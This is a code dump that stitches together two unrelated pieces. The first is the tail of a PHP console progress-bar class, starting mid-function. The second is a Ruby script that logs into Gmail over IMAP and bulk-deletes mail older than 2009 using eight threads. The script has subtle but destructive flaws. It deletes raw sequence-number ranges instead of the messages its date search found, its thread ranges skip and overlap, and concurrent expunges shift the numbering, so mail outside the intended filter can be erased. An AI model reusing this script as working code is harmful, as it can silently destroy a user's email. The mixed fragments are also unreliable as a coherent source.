{$padding = 4 + $options['percent_precision'];} else {$padding = 3;}$perc = '%4$\''.$options['percent_pad']{0}.$padding.'.'.$options['percent_precision'].'f';$transitions = array('%%' => '%%','%fraction%' => $cur.'/'.$max,'%current%' => $cur,'%max%' => $max,'%percent%' => $perc.'%%','%bar%' => '%1$s','%elapsed%' => '%5$s','%estimate%' => '%6$s',);$this->_skeleton = strtr($formatstring, $transitions);$slen = strlen(sprintf($this->_skeleton, '', 0, 0, 0, '00:00:00','00:00:00'));if ($options['width_absolute']) {$blen = $width - $slen;$tlen = $width;} else {$tlen = $width + $slen;$blen = $width;}$lbar = str_pad($bar, $blen, $bar{0}, STR_PAD_LEFT);$rbar = str_pad($prefill, $blen, substr($prefill, -1, 1));$this->_bar = substr($lbar,-$blen).substr($rbar,0,$blen);$this->_blen = $blen;$this->_tlen = $tlen;$this->_first = true;return true;}function update($current){$time = $this->_fetchTime();$this->_addDatapoint($current, $time);if ($this->_first) {if ($this->_options['ansi_terminal']) {echo "\x1b[s"; }$this->_first = false;$this->_start_time = $this->_fetchTime();$this->display($current);return;}if ($time - $this->_last_update_time <$this->_options['min_draw_interval'] and $current != $this->_target_num) {return;}$this->erase();$this->display($current);$this->_last_update_time = $time;}function display($current){$percent = $current / $this->_target_num;$filled = round($percent * $this->_blen);$visbar = substr($this->_bar, $this->_blen - $filled, $this->_blen);$elapsed = $this->_formatSeconds($this->_fetchTime() - $this->_start_time);$estimate = $this->_formatSeconds($this->_generateEstimate());$this->_rlen = printf($this->_skeleton,$visbar, $current, $this->_target_num, $percent * 100, $elapsed,$estimate);if (is_null($this->_rlen)) {$this->_rlen = $this->_tlen;} elseif ($this->_rlen < $this->_tlen) {echo str_repeat(' ', $this->_tlen - $this->_rlen);$this->_rlen = $this->_tlen;}return true;}function erase($clear = false){if ($this->_options['ansi_terminal'] and !$clear) {if ($this->_options['ansi_clear']) {echo "\x1b[2K\x1b[u"; } else {echo "\x1b[u"; }} elseif (!$clear) {echo str_repeat(chr(0x08), $this->_rlen);} else {echo str_repeat(chr(0x08), $this->_rlen),str_repeat(chr(0x20), $this->_rlen),str_repeat(chr(0x08), $this->_rlen);}}function _formatSeconds($seconds){$hou = floor($seconds/3600);$min = floor(($seconds - $hou * 3600) / 60);$sec = $seconds - $hou * 3600 - $min * 60;if ($hou == 0) {if (version_compare(PHP_VERSION, '4.3.7', 'ge')) {$format = '%2$02d:%3$05.2f';} else {$format = '%2$02d:%3$02.2f';}} elseif ($hou < 100) {$format = '%02d:%02d:%02d';} else {$format = '%05d:%02d';}return sprintf($format, $hou, $min, $sec);}function _fetchTime() {if (!function_exists('microtime')) {return time();}if (version_compare(PHP_VERSION, '5.0.0', 'ge')) {return microtime(true);}return array_sum(explode(' ', microtime()));}function _addDatapoint($val, $time) {if (count($this->_rate_datapoints)== $this->_options['num_datapoints']) {array_shift($this->_rate_datapoints);}$this->_rate_datapoints[] = array('time' => $time,'value' => $val,);}function _generateEstimate() {if (count($this->_rate_datapoints) < 2) {return 0.0;}$first = $this->_rate_datapoints[0];$last = end($this->_rate_datapoints);return ($this->_target_num - $last['value'])/($last['value'] - $first['value']) * ($last['time'] - $first['time']);}}

Ruby Gmail E-Mail Delete Script


#!/usr/bin/ruby

require 'net/imap'

$result = nil
$count = 0
$maxthreads = 8
$threadcount = 0
$user = ''
$pass = ''

def probeServer
imap = Net::IMAP.new('imap.gmail.com', '993', true)
imap.login($user, $pass)
imap.select('[Gmail]/All Mail')
$result = imap.search(["BEFORE", "1-Jan-2009"])
puts "#{$result.length} messages found"
imap.logout
imap.disconnect

rescue Net::IMAP::NoResponseError => e
# discard
rescue Net::IMAP::ByeResponseError => e
# discard
rescue => e
puts e
end

def deleteMsgs(start, stop)
$threadcount = $threadcount + 1
puts "started thead #{$threadcount} of #{$maxthreads}"

imap = Net::IMAP.new('imap.gmail.com', '993', true)
imap.login($user, $pass)
imap.select('[Gmail]/All Mail')

#result.each do |id|
start.upto(stop) { |id|
imap.copy(id, '[Gmail]/Trash')
imap.store(id, "+FLAGS", [:Deleted])
$count = $count + 1
}
imap.expunge
imap.logout
imap.disconnect

rescue Net::IMAP::NoResponseError => e
# discard
rescue Net::IMAP::ByeResponseError => e
# discard
rescue => e
puts e

puts "moved #{$count} messages to trash"
end

def statusThread
while($count < $result.size)
puts "pimped out #{$count} of #{$result.size} messages"
sleep(1)
end
end


if(ARGV.size == 2)
$user = ARGV[0]
$pass = ARGV[1]
else
puts "Usage: ruby g.rb "
exit
end

puts "Started at #{Time.now}"

probeServer
msgsPerThread = ($result.size / $maxthreads).ceil

st = Thread.new { statusThread() }
t = Array.new($maxthreads)
for i in (1..$maxthreads)
if i == 1
start = 1
else
start = i * msgsPerThread
end
stop = start + msgsPerThread

t[i] = Thread.new { deleteMsgs(start, stop) }
end
for i in (1..$maxthreads)
t[i].join # rescue nil
end


puts "Ended at #{Time.now}"